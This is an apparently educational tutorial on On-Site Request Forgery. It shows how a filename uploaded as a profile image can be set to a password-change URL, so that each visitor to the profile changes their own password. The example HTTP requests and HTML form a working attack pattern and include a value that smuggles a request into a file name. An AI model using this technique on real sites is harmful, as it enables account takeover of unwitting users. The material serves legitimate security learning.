On-Site Request Forgery (OSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. The difference between CSRF is a vulnerability where an attacker initiates requests from domain under their control to perform actions on behalf of victim. However, in OSRF, requests originate from vulnerable application itself and we control where our requests go.
You can detect On-Site Request Forgery (OSRF) everywhere but there are 2 things that need to be looked up.
-
Finding reflected input in
src
attribute. For example:<img src="OUR_INPUT_HERE"> <video width="400" height="200" controls src="OUR_INPUT_HERE"> <audio src="OUR_INPUT_HERE"> <iframe src="OUR_INPUT_HERE">
-
There is a sensitive endpoint that using the GET method
GET /settings.php?remove_account=1 Host: example.com User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0 ...
Imagine there is functionality in the website where the user can change their password. Here is the request
GET /change_password.php?new_password=Testing123
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
...
And then there is another functionality where we can control the value inside the src
attribute, for example we can change our photo profile
POST /settings.php
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
...
---------------------------829348923824
Content-Disposition: form-data; name="filename"
testingimage.jpg
---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="testingimage.jpg"
Content-Type: image/gif
IMAGE_CONTENT
...
And if we check our public profile page, our input is reflected in the src
attribute
<div id="profile">
<p id="fullname">daffainfo</p>
<p id="address">Indonesia</p>
<img src="uploads/testingimage.jpg">
</div>
To exploit the website using this vulnerability, we need to change the filename from testingimage.jpg
to change_password.php?new_password=Testing123
. So, the result is
<div id="profile">
<p id="fullname">daffainfo</p>
<p id="address">Indonesia</p>
<img src="../change_password.php?new_password=Testing123">
</div>
If another user visits our profile page, their password will automatically be changed to Testing123